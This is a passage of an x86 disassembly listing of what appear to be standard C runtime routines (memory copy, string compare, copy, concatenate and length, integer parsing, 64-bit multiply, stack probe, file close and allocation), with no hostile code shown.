		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4173B0
		cmp	edi, eax
		jb	loc_417528

loc_4173B0:				; CODE XREF: sub_417390+16j
		test	edi, 3
		jnz	short loc_4173CC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------

loc_4173CC:				; CODE XREF: sub_417390+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4173E4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_4173EC+4[eax*4]
; ---------------------------------------------------------------------------

loc_4173E4:				; CODE XREF: sub_417390+46j
		jmp	dword ptr loc_4174E8[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_4173EC:				; CODE XREF: sub_417390+31j
					; sub_417390+8Ej ...
		jmp	off_41746C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_417400
		dd offset loc_41742C
		dd offset loc_417450
; ---------------------------------------------------------------------------

loc_417400:				; DATA XREF: sub_417390+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41742C:				; DATA XREF: sub_417390+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_417450:				; DATA XREF: sub_417390+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41746C	dd offset loc_4174CF	; DATA XREF: sub_417390:loc_4173ECr
		dd offset loc_4174BC
		dd offset loc_4174B4
		dd offset loc_4174AC
		dd offset loc_4174A4
		dd offset loc_41749C
		dd offset loc_417494
		dd offset loc_41748C
; ---------------------------------------------------------------------------

loc_41748C:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_417494:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_41749C:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_4174A4:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_4174AC:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_4174B4:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_4174BC:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_4174CF:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390:off_41746Co
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4174D8	dd offset loc_4174E8	; DATA XREF: sub_417390+35r
					; sub_417390+92r ...
		dd offset loc_4174F0
		dd offset loc_4174FC
		dd offset loc_417510
; ---------------------------------------------------------------------------

loc_4174E8:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_4174F0:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4174FC:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_417510:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_417528:				; CODE XREF: sub_417390+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41755C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_417550
		std
		rep movsd
		cld
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_417550:				; CODE XREF: sub_417390+1B1j
					; sub_417390+208j ...
		neg	ecx
		jmp	off_417620[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41755C:				; CODE XREF: sub_417390+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_417574
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_417574+4[eax*4]
; ---------------------------------------------------------------------------

loc_417574:				; CODE XREF: sub_417390+1D6j
					; DATA XREF: sub_417390+1DDr
		jmp	off_417670[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	[ebp+arg_39], dh
		add	[eax-2FFFBE8Bh], ch
		jnz	short loc_4175C8
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_417550
		std
		rep movsd
		cld
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_417550
		std
		rep movsd
		cld

loc_4175C8:				; CODE XREF: sub_417390+1F5j
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_417550
		std
		rep movsd
		cld
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_417624
		dd offset loc_41762C
		dd offset loc_417634
		dd offset loc_41763C
		dd offset loc_417644
		dd offset loc_41764C
		dd offset loc_417654
off_417620	dd offset loc_417667	; DATA XREF: sub_417390+1C2r
; ---------------------------------------------------------------------------

loc_417624:				; DATA XREF: sub_417390+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_41762C:				; DATA XREF: sub_417390+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_417634:				; DATA XREF: sub_417390+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_41763C:				; DATA XREF: sub_417390+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_417644:				; DATA XREF: sub_417390+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_41764C:				; DATA XREF: sub_417390+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_417654:				; DATA XREF: sub_417390+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_417667:				; CODE XREF: sub_417390+1C2j
					; DATA XREF: sub_417390:off_417620o
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_417670	dd offset loc_417680	; DATA XREF: sub_417390+1B7r
					; sub_417390:loc_417574r ...
		dd offset loc_417688
		dd offset loc_417698
		dd offset loc_4176AC
; ---------------------------------------------------------------------------

loc_417680:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_417688:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_417698:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_4176AC:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_417390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4176D0	proc near		; CODE XREF: sub_4010B5+FCp
					; sub_4010B5+118p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41771C

loc_4176E0:				; CODE XREF: sub_4176D0+3Cj
					; sub_4176D0+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_417714
		or	al, al
		jz	short loc_417710
		cmp	ah, [ecx+1]
		jnz	short loc_417714
		or	ah, ah
		jz	short loc_417710
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_417714
		or	al, al
		jz	short loc_417710
		cmp	ah, [ecx+3]
		jnz	short loc_417714
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_4176E0
		mov	edi, edi

loc_417710:				; CODE XREF: sub_4176D0+18j
					; sub_4176D0+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_417714:				; CODE XREF: sub_4176D0+14j
					; sub_4176D0+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41771C:				; CODE XREF: sub_4176D0+Ej
		test	edx, 1
		jz	short loc_417738
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_417714
		inc	ecx
		or	al, al
		jz	short loc_417710
		test	edx, 2
		jz	short loc_4176E0

loc_417738:				; CODE XREF: sub_4176D0+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_417714
		or	al, al
		jz	short loc_417710
		cmp	ah, [ecx+1]
		jnz	short loc_417714
		or	ah, ah
		jz	short loc_417710
		add	ecx, 2
		jmp	short loc_4176E0
sub_4176D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417760	proc near		; CODE XREF: sub_4010B5+19Ep
					; sub_401A76+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_417779
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------

loc_417779:				; CODE XREF: sub_417760+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_417760	endp


; =============== S U B	R O U T	I N E =======================================



sub_417794	proc near		; CODE XREF: sub_41781F+4p
					; sub_42094E+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]

loc_41779C:				; CODE XREF: sub_417794+34j
		cmp	dword_433E7C, 1
		jle	short loc_4177B4
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_4177C3
; ---------------------------------------------------------------------------

loc_4177B4:				; CODE XREF: sub_417794+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_433C70
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_4177C3:				; CODE XREF: sub_417794+1Ej
		test	eax, eax
		jz	short loc_4177CA
		inc	edi
		jmp	short loc_41779C
; ---------------------------------------------------------------------------

loc_4177CA:				; CODE XREF: sub_417794+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_4177DA
		cmp	esi, 2Bh
		jnz	short loc_4177DE

loc_4177DA:				; CODE XREF: sub_417794+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi

loc_4177DE:				; CODE XREF: sub_417794+44j
		xor	ebx, ebx

loc_4177E0:				; CODE XREF: sub_417794+7Bj
		cmp	dword_433E7C, 1
		jle	short loc_4177F5
		push	4
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_417800
; ---------------------------------------------------------------------------

loc_4177F5:				; CODE XREF: sub_417794+53j
		mov	eax, off_433C70
		mov	al, [eax+esi*2]
		and	eax, 4

loc_417800:				; CODE XREF: sub_417794+5Fj
		test	eax, eax
		jz	short loc_417811
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_4177E0
; ---------------------------------------------------------------------------

loc_417811:				; CODE XREF: sub_417794+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41781A
		neg	eax

loc_41781A:				; CODE XREF: sub_417794+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_417794	endp


; =============== S U B	R O U T	I N E =======================================



sub_41781F	proc near		; CODE XREF: sub_4013EC+12p
					; sub_4013EC+1Dp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_417794
		pop	ecx
		retn
sub_41781F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41782A	proc near		; CODE XREF: sub_40144A+318p
					; sub_401D82+460p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_419E38
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_417869
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_417876
; ---------------------------------------------------------------------------

loc_417869:				; CODE XREF: sub_41782A+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_419D23
		pop	ecx
		pop	ecx

loc_417876:				; CODE XREF: sub_41782A+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41782A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417880	proc near		; CODE XREF: sub_401D82+2D8p
					; sub_401D82+2F8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_4178FA
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_4178E7

loc_417898:				; CODE XREF: sub_417880+52j
					; sub_417880+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_4178BA
		test	al, al
		jz	short loc_4178B4

loc_4178A9:				; CODE XREF: sub_417880+32j
		mov	al, [esi]
		inc	esi

loc_4178AC:				; CODE XREF: sub_417880+3Fj
		cmp	al, dl
		jz	short loc_4178BA
		test	al, al
		jnz	short loc_4178A9

loc_4178B4:				; CODE XREF: sub_417880+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_4178BA:				; CODE XREF: sub_417880+23j
					; sub_417880+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_4178AC
		lea	edi, [esi-1]

loc_4178C4:				; CODE XREF: sub_417880+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_4178F3
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_417898
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_4178F3
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_4178C4
		jmp	short loc_417898
; ---------------------------------------------------------------------------

loc_4178E7:				; CODE XREF: sub_417880+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_418F56
; ---------------------------------------------------------------------------

loc_4178F3:				; CODE XREF: sub_417880+49j
					; sub_417880+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_4178FA:				; CODE XREF: sub_417880+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_417880	endp


; =============== S U B	R O U T	I N E =======================================



sub_417900	proc near		; CODE XREF: sub_4022C6+94p
					; sub_405A58+7Cp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_417915
		or	eax, 0FFFFFFFFh
		jmp	short loc_41794F
; ---------------------------------------------------------------------------

loc_417915:				; CODE XREF: sub_417900+Ej
		test	al, 83h
		jz	short loc_41794D
		push	esi
		call	sub_41A7D0
		push	esi
		mov	edi, eax
		call	sub_41A76A
		push	dword ptr [esi+10h]
		call	sub_41A6B7
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41793B
		or	edi, 0FFFFFFFFh
		jmp	short loc_41794D
; ---------------------------------------------------------------------------

loc_41793B:				; CODE XREF: sub_417900+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41794D
		push	eax
		call	sub_417C3B
		and	dword ptr [esi+1Ch], 0
		pop	ecx

loc_41794D:				; CODE XREF: sub_417900+17j
					; sub_417900+39j ...
		mov	eax, edi

loc_41794F:				; CODE XREF: sub_417900+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_417900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417956	proc near		; CODE XREF: sub_4022C6+8Ep
					; sub_40EE72+2B0Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41A8A2
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419E38
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_41A92F
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417956	endp


; =============== S U B	R O U T	I N E =======================================



sub_417988	proc near		; CODE XREF: sub_4179A8+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41AADC
		test	eax, eax
		jnz	short loc_417992
		retn
; ---------------------------------------------------------------------------

loc_417992:				; CODE XREF: sub_417988+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41A96C
		add	esp, 10h
		retn
sub_417988	endp


; =============== S U B	R O U T	I N E =======================================



sub_4179A8	proc near		; CODE XREF: sub_4022C6+54p
					; sub_405A58+2Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_417988
		add	esp, 0Ch
		retn
sub_4179A8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4179C0	proc near		; CODE XREF: sub_405AF2+2BFp
					; sub_40A7D7+75p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_417A31
sub_4179C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4179D0	proc near		; CODE XREF: sub_4022C6+32p
					; sub_4022C6+43p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_4179EC

loc_4179DD:				; CODE XREF: sub_4179D0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_417A1F
		test	ecx, 3
		jnz	short loc_4179DD

loc_4179EC:				; CODE XREF: sub_4179D0+Bj
					; sub_4179D0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_4179EC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_417A2E
		test	ah, ah
		jz	short loc_417A29
		test	eax, 0FF0000h
		jz	short loc_417A24
		test	eax, 0FF000000h
		jz	short loc_417A1F
		jmp	short loc_4179EC
; ---------------------------------------------------------------------------

loc_417A1F:				; CODE XREF: sub_4179D0+12j
					; sub_4179D0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_417A31
; ---------------------------------------------------------------------------

loc_417A24:				; CODE XREF: sub_4179D0+44j
		lea	edi, [ecx-2]
		jmp	short loc_417A31
; ---------------------------------------------------------------------------

loc_417A29:				; CODE XREF: sub_4179D0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_417A31
; ---------------------------------------------------------------------------

loc_417A2E:				; CODE XREF: sub_4179D0+39j
		lea	edi, [ecx-4]

loc_417A31:				; CODE XREF: sub_4179C0+5j
					; sub_4179D0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_417A56

loc_417A3D:				; CODE XREF: sub_4179D0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_417AA8
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_417A3D
		jmp	short loc_417A56
; ---------------------------------------------------------------------------

loc_417A51:				; CODE XREF: sub_4179D0+9Ej
					; sub_4179D0+B8j
		mov	[edi], edx
		add	edi, 4

loc_417A56:				; CODE XREF: sub_4179D0+6Bj
					; sub_4179D0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_417A51
		test	dl, dl
		jz	short loc_417AA8
		test	dh, dh
		jz	short loc_417A9F
		test	edx, 0FF0000h
		jz	short loc_417A92
		test	edx, 0FF000000h
		jz	short loc_417A8A
		jmp	short loc_417A51
; ---------------------------------------------------------------------------

loc_417A8A:				; CODE XREF: sub_4179D0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_417A92:				; CODE XREF: sub_4179D0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_417A9F:				; CODE XREF: sub_4179D0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_417AA8:				; CODE XREF: sub_4179D0+72j
					; sub_4179D0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_4179D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_417AB0	proc near		; CODE XREF: sub_4023A7+1A7p
					; sub_4023A7:loc_402561p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_417AD0

loc_417ABC:				; CODE XREF: sub_417AB0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_417B03
		test	ecx, 3
		jnz	short loc_417ABC
		add	eax, 0

loc_417AD0:				; CODE XREF: sub_417AB0+Aj
					; sub_417AB0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_417AD0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_417B21
		test	ah, ah
		jz	short loc_417B17
		test	eax, 0FF0000h
		jz	short loc_417B0D
		test	eax, 0FF000000h
		jz	short loc_417B03
		jmp	short loc_417AD0
; ---------------------------------------------------------------------------

loc_417B03:				; CODE XREF: sub_417AB0+11j
					; sub_417AB0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_417B0D:				; CODE XREF: sub_417AB0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_417B17:				; CODE XREF: sub_417AB0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_417B21:				; CODE XREF: sub_417AB0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_417AB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417B30	proc near		; CODE XREF: sub_402688+8p
					; sub_402B84+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_417B50

loc_417B3C:				; CODE XREF: sub_417B30+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_417B3C

loc_417B50:				; CODE XREF: sub_417B30+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_417B30	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B5F	proc near		; CODE XREF: sub_4029E9+7Ap
					; sub_4029E9+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_417B73

loc_417B6B:				; CODE XREF: sub_417B5F+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_417B6B

loc_417B73:				; CODE XREF: sub_417B5F+Aj
		mov	edx, [esp+arg_4]
		push	esi

loc_417B78:				; CODE XREF: sub_417B5F+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_417B78
		pop	esi
		retn
sub_417B5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B89	proc near		; CODE XREF: sub_402B84+220p
					; sub_402DD7+C1p ...

arg_0		= dword	ptr  4

		push	dword_4CDA14
		push	[esp+4+arg_0]
		call	sub_417B9B
		pop	ecx
		pop	ecx
		retn
sub_417B89	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B9B	proc near		; CODE XREF: sub_417B89+Ap
					; sub_4185F5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_417BC4

loc_417BA2:				; CODE XREF: sub_417B9B+27j
		push	[esp+arg_0]
		call	sub_417BC7
		test	eax, eax
		pop	ecx
		jnz	short locret_417BC6
		cmp	[esp+arg_4], eax
		jz	short locret_417BC6
		push	[esp+arg_0]
		call	sub_41AB54
		test	eax, eax
